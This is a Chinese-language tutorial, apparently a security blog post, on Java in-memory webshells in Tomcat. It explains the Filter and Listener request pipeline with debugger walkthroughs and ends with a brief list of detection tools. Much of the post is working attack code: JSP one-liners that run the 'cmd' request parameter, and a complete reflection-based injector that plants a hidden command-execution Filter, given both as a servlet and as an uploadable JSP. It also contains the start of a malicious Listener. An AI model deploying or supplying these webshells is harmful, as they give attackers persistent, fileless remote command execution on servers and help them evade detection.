Featured image of post java内存马

java内存马

java内存马

前置知识

先学习tomcat架构,在讲 Tomcat 之前,我们先讲一讲 Java Web 三大件,也就是 Servlet,Filter,Listener,当 Tomcat 接收到请求时候,依次会经过 Listener -> Filter -> Servlet

Servlet

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。类似中间件,但没有我们熟知的中间件能力那么强

请求的处理过程

客户端发起一个 http 请求,比如 get 类型。

Servlet 容器接收到请求,根据请求信息,封装成 HttpServletRequest HttpServletResponse 对象。这步也就是我们的传参。

Servlet容器调用 HttpServlet 的 init() 方法,init 方法只在第一次请求的时候被调用。

Servlet 容器调用 service() 方法。

service() 方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。

doXXX 方法中是我们自己写的业务逻辑。

业务逻辑处理完成之后,返回给 Servlet 容器,然后容器将结果返回给客户端。

容器关闭时候,会调用 destory 方法。

生命周期

1)服务器启动时 (web.xml 中配置 load-on-startup=1,默认为 0)或者第一次请求该 servlet 时,就会初始化一个 Servlet 对象,也就是会执行初始化方法 init(ServletConfig conf)。

2)servlet 对象去处理所有客户端请求,在 service(ServletRequest req,ServletResponse res) 方法中执行

3)服务器关闭时,销毁这个 servlet 对象,执行 destroy() 方法。

4)由 JVM 进行垃圾回收。

Filter

filter 也称之为过滤器,是对 Servlet 技术的一个强补充,其主要功能是在 HttpServletRequest 到达 Servlet 之前,拦截客户的 HttpServletRequest ,根据需要检查 HttpServletRequest,也可以修改 HttpServletRequest 头和数据

这里我们可以自己创建一个带有恶意代码的filter放在前面,我们的filter就会先于默认的filter执行,这样就构成了内存马

生命周期

与 servlet 一样,Filter 的创建和销毁也由 Web 容器负责。Web 应用程序启动时,Web 服务器将创建 Filter 的实例对象,并调用其 init() 方法,读取 web.xml 配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter 对象只会创建一次,init 方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。 Filter 对象创建后会驻留在内存,当 Web 应用移除或服务器停止时才销毁。在 Web 容器卸载 Filter 对象之前被调用。该方法在 Filter 的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

Filter链

当多个 Filter 同时存在的时候,组成了 Filter 链。Web 服务器根据 Filter 在 web.xml 文件中的注册顺序,决定先调用哪个 Filter。当第一个 Filter 的 doFilter 方法被调用时,web服务器会创建一个代表 Filter 链的 FilterChain 对象传递给该方法,通过判断 FilterChain 中是否还有 Filter 决定后面是否还调用 Filter。

Listener

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

ServletContextListener:对Servlet上下文的创建和销毁进行监听; ServletContextAttributeListener:监听 Servlet 上下文属性的添加、删除和替换;

HttpSessionListener:对 Session 的创建和销毁进行监听。Session 的销毁有两种情况,一种是Session 超时,还有一种是通过调用 Session 对象的 invalidate() 方法使 session 失效。

HttpSessionAttributeListener:对 Session 对象中属性的添加、删除和替换进行监听;

ServletRequestListener:对请求对象的初始化和销毁进行监听; ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。

Tomcat

Apache 是 Web 服务器(静态解析,如 HTML),Tomcat 是 java 应用服务器(动态解析,如 JSP)

Tomcat 只是一个 servlet (jsp 也翻译成 servlet)容器,可以认为是 Apache 的扩展,但是可以独立于 Apache 运行。

tomcat和servlet关系

我们根据上面的基础知识可以知道 Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,而 Servlet 容器从上到下分别是 Engine、Host、Context、Wrapper。

在 Tomcat 中 Wrapper 代表一个独立的 servlet 实例, StandardWrapper 是 Wrapper 接口的标准实现类(StandardWrapper 的主要任务就是载入 Servlet 类并且进行实例化),同时其从 ContainerBase 类继承过来,表示他是一个容器,只是他是最底层的容器,不能再含有任何的子容器了,且其父容器只能是 context。而我们在也就是需要在这里去载入我们自定义的 Servlet 加载我们的内存马。

tomcat架构

Tomcat 的框架如下图所示,主要有 server、service、connector、container 四个部分

image-20251113194841714

图中可以看出 Tomcat 的心脏是两个组件:Connector 和 Container: Connector 主要负责对外交流,进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文,对应下图中的http服务器;

Container 主要处理 Connector 接受的请求,主要是处理内部事务,加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求,对应下图中的 servlet 容器。

image-20251113195656199

tomcat类加载机制

由于 Tomcat 中有多个 WebApp 同时要确保之间相互隔离,所以 Tomcat 的类加载机制也不是传统的双亲委派机制。

Tomcat 自定义的类加载器 WebAppClassloader 为了确保隔离多个 WebApp 之间相互隔离,所以打破了双亲委托机制。每个 WebApp 用一个独有的 ClassLoader 实例来优先处理加载。它首先尝试自己加载某个类,如果找不到再交给父类加载器,其目的是优先加载 WEB 应用自己定义的类。

同时为了防止 WEB 应用自己的类覆盖 JRE 的核心类,在本地 WEB 应用目录下查找之前,先使用 ExtClassLoader(使用双亲委托机制)去加载,这样既打破了双亲委托,同时也能安全加载类。

内存马介绍

在讲内存马之前得先熟悉一下jsp

JSP基础

JSP(Java Server Pages),是Java的一种动态网页技术。在学el表达式的时候有说过

环境搭建

这里项目选择JEE搭建也就是Jakarta EE,这里我下个tomcat10吧,之前shiro的时候有下载过tomcat8也可以用

这里我用tomcat10.1.42下载/bin/src下的zip,下src下的文件是方便调试

image-20251113235931014

image-20251114000350473

这里项目结构添加前面下载的源代码zip

image-20251114000608157

接着导入相同的maven依赖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>10.1.42</version>
</dependency>
<dependency>  
    <groupId>org.apache.tomcat.embed</groupId>  
    <artifactId>tomcat-embed-el</artifactId>  
    <version>10.1.42</version>  
</dependency>

测试运行自带的index.jsp,编辑配置后运行出现helloworld就是成功了

image-20251114002014032

这样就配置完了,jsp的解析是包裹在<%! xxx %>之间的

传统内存马

1
2
3
<% 
	Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

带回显的jsp马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<% if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
}
%>

插入我们前面搭建好的index.jsp上就能感受到了,类似php那种一句话木马

传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。

Filter内存马

之前我们分析到,我们的请求是先经过Filter才会到servlet的,我们动态创建一个恶意的filter放在最前面,我们的filter就会先执行,成为内存马

所以我们这里要实现的就是动态注册一个内存马,把它放在最前面

自定义Filter文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.memshell;

import jakarta.servlet.*;

import java.io.IOException;

public class filter implements Filter{
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始构造完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String cmd = servletRequest.getParameter("cmd");
        if(cmd != null){
            servletResponse.setContentType("text/html;charset=utf-8");
            servletResponse.getWriter().println("your parameter is:"+cmd);
        }
        System.out.println("执行了过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {
    }
}

然后去web.xml注册filter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
         version="6.0">
    <filter>
        <filter-name>filter</filter-name>
        <filter-class>org.example.memshell.filter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>filter</filter-name>
        <url-pattern>/filter</url-pattern>
    </filter-mapping>
</web-app>

这里我有乱码问题,不过不影响我们调试

doFilter后的调试

image-20251128193501882

在这里下断点,然后访问filter路由(虽然我们没写这个路由会404),就会走到我们这个断点

直接跟进doFilter方法

image-20251128193841759

走到这个ApplicationFilterChain 类的 doFilter() 方法,它主要是进行了 Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断。这里是false,直接走到else

image-20251128194044825

走到这个ApplicationFilterChain 类的 internalDoFilter() 方法

image-20251128200325794

看下面filter的取值,我们有两个filter,一个是tomcat自带的filter,一个是我们自定义的filter

image-20251128200510568

这里走的的pos是1,也就是下面tomcat的filter,然后下面调用了doFilter方法,走到tomcat的doFilter方法了

image-20251128201528821

这里这个doFilter方法跟进之后又回到前面的地方了,再走一遍发现跟前面不一样了

image-20251128202009321

走到了sevice方法

最后一个 filter 调用 servlet 的 service 方法

上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;这也就是我们的 Filter 链,是去逐个获取的。

最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

至此,我们的正向分析过程就结束了,得到的结论是 Filter Chain 的调用结构是一个个 doFilter() 的,最后一个 Filter 会调用 Servlet.service()

doFilter前的调试

找到这个doFilter方法调用前最早的invoke方法

image-20251128202618042

我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序。

实际上观察调用栈可以明白,invoke一直实现的过程如下图

image-20251128202810708

走完这一切,走到最后一个invoke方法

image-20251128203041096

这个filterChain变量,直接跟进,跟进 createFilterChain() 这个方法。使用 ApplicationFilterFactory.createFilterChain() 创建了一个过滤链,将 request, wrapper, servlet 进行传递。

我们在 createFilterChain() 方法走一下流程。这里就是判断 FilterMaps 是否为空,若为空则会调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMap数组。

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。

这时候我们再进入 doFilter() 的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。

总结流程

先是invoke方法,层层调用管道,在最后一个管道的地方会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配。进行 doFilter() 工作,将请求交给对应的 pipeline 去处理,也就是进行一个 doFilter() —-> internalDoFilter() —-> doFilter();直到最后一个 filter 被调用。最后一个 filter 会执行完 doFilter() 操作,随后会跳转到 Servlet.service() 这里。

实际上我们可控的地方在FilterConfig这里

image-20251128204941853

image-20251128204518923

我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。

而这个 filterMaps 中的数据对应 web.xml 中的filter-mapping 标签

内存马攻击思路

我们目前的想法是怎么修改filterMaps,也就是如何修改 web.xml 中的 filter-mapping 标签。

filterMaps 可以通过如下两个方法添加数据,对应的类是 StandardContext 这个类

image-20251128205315636

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

里面有三个跟filter相关的变量

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

image-20251128211745571

FilterDef就是对应web.xml中的filter标签了

1
2
3
4
<filter>  
 <filter-name>filter</filter-name>  
 <filter-class>filter</filter-class>  
</filter>

而查找filterconfig,可以找到在StandardContext#filterStart方法中

image-20251128212034737

所以最后总结一下思路

1、获取当前应用的ServletContext对象 2、通过ServletContext对象再获取filterConfigs 2、接着实现自定义想要注入的filter对象 4、然后为自定义对象的filter创建一个FilterDef 5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

构造内存马

根据前面学的传统内存马,现在我们就要把它加到我们filter里面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class EvilFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

然后添加到web.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="https://jakarta.ee/xml/ns/jakartaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd"
         version="6.0">
    <filter>
        <filter-name>EvilFilter</filter-name>
        <filter-class>EvilFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>EvilFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
</web-app>

本质上其实就是 Filter 中接受执行参数,但是如果我们在现实情况中需要动态的将该 Filter 给添加进去。

由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterMaps这三个变量里面,将filter添加到这三个变量中即可将内存马打入。

如果用下面这种获取会报错

1
2
3
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();  
StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();  
StandardContext standardContext = (StandardContext) standardroot.getContext();

Exp

先是通过反射获取到 standContext

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

定义恶意Filter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
@Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return; }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

再设置 FilterDef 和 FilterMaps

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

最终将它们都添加到 filterConfig 里面,再放到 web.xml 里面

1
2
3
4
5
6
7
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");

完整exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import jakarta.servlet.*;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class FilterShell extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


//        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//        org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
//        org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = request.getSession().getServletContext();
            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return; }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                response.getWriter().write("Success");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }


    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

如果有文件上传的话就是上传jsp马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
    final String name = "0d00";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>filter</title>
</head>
<body>
    Hello Filter
</body>
</html>

内存马排查

这个在awd中很重要

arthas

这个是检测java进程的工具

1
java -jar arthas-boot.jar --telnet-port xxxx --http-port -1

也可以直接

1
java -jar arthas-boot.jar

选择我们tomcat的进程,不过貌似jsp内存马才能被查找到?

image-20251201222125992

image-20251201222326198

这里我们前面的java名叫FilterShell,这里进程也是叫这个

反编译

image-20251201222429631

copagent

项目链接:https://github.com/LandGrey/copagent

也是一款可以检测内存马的工具

java-memshell-scanner

项目链接:https://github.com/c0ny1/java-memshell-scanner

c0ny1 师傅写的检测内存马的工具,能够检测并且进行删除,是一个非常方便的工具

Listener内存马

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

Listener的三个域对象

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的 Listener

Listener基础代码实现

要求 Listener 的业务对象要实现 EventListener 这个接口

查看实现类,这里我们要找每个请求都会触发的Listener,优先查找Servlet开头的类

image-20251202214722473

这里找到这个ServletRequestListener,它的方法名requestInitialized很符合我们的预期

可以看到这里是空方法,我们自定义一个Listener,然后重写这个方法,添加一行输出验证我们的想法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package Listener;

import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.annotation.WebListener;


@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {
    public ListenerTest() {
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("Listener被调用");
    }
}

然后去web.xml注册

1
2
3
<listener>
        <listener-class>Listener.ListenerTest</listener-class>
</listener>

调试

先读取webxml

在启动应用时,ContextConfig类会去读取配置文件

image-20251202220502620

首先找到configureContext这个方法

image-20251202220738910

在这里读取listener的设置,然后我们跟进这个方法

是一个接口,接着找实现类

image-20251202220857004

走到standardContext里面

image-20251202221010968

直接在前面的1417行下断点调试

image-20251202221341224

接下来就走到前面的StandardContext类里面

image-20251202222013812

这里获取前面我们自定义的listener存到数组里面,然后一系列操作后start监听

应用运行过程

在这里下断点,这里其实是我们自定义监听器重写方法下断点后的调用栈上一步

image-20251202222343707

然后开始调试,这个函数名一看跟初始化有关(

image-20251202222818248

获取listener数组,这个list存的就是我们前面自定义的那个listener

image-20251202223143031

而且我们可以手动往数组里面添加listener,前面的add方法可以实现

后面流程就是listener依次被触发,然后调用下面这个方法

image-20251202223419594

内存马

现在我们的思路肯定是通过addApplicationEventListener方法添加恶意listener

先准备恶意代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
String cmd;
        try {
            cmd = sre.getServletRequest().getParameter("cmd");
            org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            Response response = request.getResponse();

            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i=inputStream.read(bytes)) != -1){
                    response.getWriter().write(new String(bytes,0,i));
                    response.getWriter().write("\r\n");
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }

